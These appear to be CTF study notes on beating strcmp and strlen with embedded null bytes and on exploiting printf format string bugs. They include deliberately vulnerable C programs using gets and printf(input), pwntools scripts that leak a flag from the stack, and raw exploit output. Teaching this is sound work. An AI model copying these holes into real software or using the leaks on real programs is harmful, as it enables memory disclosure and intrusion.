Above is a strcmp implementation that is found here. Simply put, it takes cs and ct, loops through the characters to compare them, and returns 0 if they are the same.
The final if case leading to the break checks for a terminating NULL byte.
We know that our input is only 6 characters long before it overflows to the flag variable, so I decided to change the flag variable to hold our input, including the NULL terminating byte.
Beating strcmp
By inputting strings that contain \0
e.g
we can beat strcmp by making it compare two strings of AAAAA\x00 and AAAAA\x00
strlen()
Breaking the for loop
The for-loop usage convention
where
Statement 1 is executed (one time) before the execution of the code block.
Statement 2 defines the condition for executing the code block.
Statement 3 is executed (every time) after the code block has been executed.
How does the for loop know when to stop?
Hence, the for loop stops when the condition *s is false. In C, the null character '\0' indicates the end of a string. Therefore, the loop will continue as long as the value *s is not equal to '\0'. When the loop encounters the null character, the condition *s will evaluate as false, and the loop will terminate. At this point, the pointer s will be pointing to the null character, and the string length can be calculated by subtracting the initial pointer str from s.
In the example of light, we are trying to trick the program to think our input is 22 bytes into thinking so that we can go into the memcpy function and overflow local_28 into the to_overwrite function from there
hence, to exploit the strlen function, we now have to give an input that:
has a null terminator at the 22nd byte,
are more than 22 bytes anyways, so it can overflow local_28 (or val, in the source code)
printf()
format string vulnerabilities affect all printf variants (listed below)
String formatters
parameter
%c
usage
formats a single character
parameter
%d
usage
formats an integer in decimal value
parameter
%f
usage
formats a float in decimal value
parameter
%s
usage
formats a string
parameter
%p
usage
formats a pointer to an address location
parameter
%n
usage
formats the number of bytes written
parameter
%x
usage
formats a hexadecimal value
take the following usage:
the usage of printf() here is unsafe
we can exploit it by passing an input of %p such as:
this will dump some memory values
Exploiting it
example 1 (reading from a string value in a variable)
we can get the program to print out the variable flag using this exploit script, which prints the first 100 values on the stack as a string using our beloved string format exploit.
on the ninth iteration, we get the flag, which means the flag is stored at %9$s in this case.
example 2 (reading from stack chunks)
by using the following exploit script, we can see where 'position 1' of the printf lands and calculate the location of flag
Cross referencing with the gdb's stack:
we can see that a match of 0x19ff554040is found at %6$p, and that the dummy flag of our own flag.txt is offset at 6,7, and 8 below the stack pointer, our flag is stored at %12$p , %13$p, and %14$p
the values are as follows:
%12$p --> 0x6568747b67616c66--> to ascii: eht{galf
%13$p --> 0x73695f67616c665f--> to ascii: si_galf_
%14$p --> 0x7d2121657265685f --> to ascii: }!!ereh_
note: %12$p is the start of our flag string, so in the case of a real pwn challenge, juts play around till you find the flag at %>12$p
stringing the values together in reverse, we get this:
int main(){
char input[32]
gets(input); //unsafe as gets doesnt specify the max input length
printf(input);
printf('\n');
}
%p %p %p %p %p %p %p
formatStr.c
#include <stdio.h>
#include <string.h>
int main(){
FILE* flagFile;
char c;
int i = 0;
flagFile = fopen("flag.txt", "r");
char input[32];
char flag[32];
char *flagPointer = flag;
if (flagFile == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), flagFile);
gets(input);
printf(input);
printf("\n");
return 0;
}
exploit.py
from pwn import *
for i in range(100):
io = process("./formatStr")
payload = '%' + '{}'.format(i) + '$s'
io.sendline(payload)
io.interactive()
vuln2.c
#include <stdio.h>
#include <string.h>
int main(){
FILE* flagFile;
char c;
int i = 0;
flagFile = fopen("flag.txt", "r");
char input[32];
char flag[32];
while(1){
c = fgetc(flagFile);
if (feof(flagFile)){
break;
}
flag[i] = c;
i++;
}
gets(input);
printf(input);
printf("\n");
return 0;
}
from pwn import *
io = process("./vuln2")
payload = ''
for i in range(32): #32 because our input is size of 32
payload += '%' + '{}'.format(i) + '$p-'
io.sendline(payload)
io.interactive()
[+] Starting local process './vuln2': pid 43629
/home/riantheduckquck/Documents/dev/exploit.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(payload)
[*] Switching to interactive mode
0x7ffe0342ebc0
%0$p-0x1-0x1-0x7f4ccaa19aa0-(nil)-(nil)-0x19ff264040-0x562d67d142a0-0x2431252d70243025-0x252d702432252d70-0x702434252d702433-0x36252d702435252d-0x2d702437252d7024-0x2439252d70243825-0x2d70243031252d70-0x31252d7024313125-0x243331252d702432-0x2d70243431252d70-0x31252d7024353125-0x243731252d702436-0x2d70243831252d70-0x32252d7024393125-0x243132252d702430-0x2d70243232252d70-0x32252d7024333225-0x243532252d702434-0x2d70243632252d70-0x32252d7024373225-0x243932252d702438-0x2d70243033252d70-0x6c002d7024313325-0x6df2864d3c5d80ec-
*** stack smashing detected ***: terminated
[*] Got EOF while reading in interactive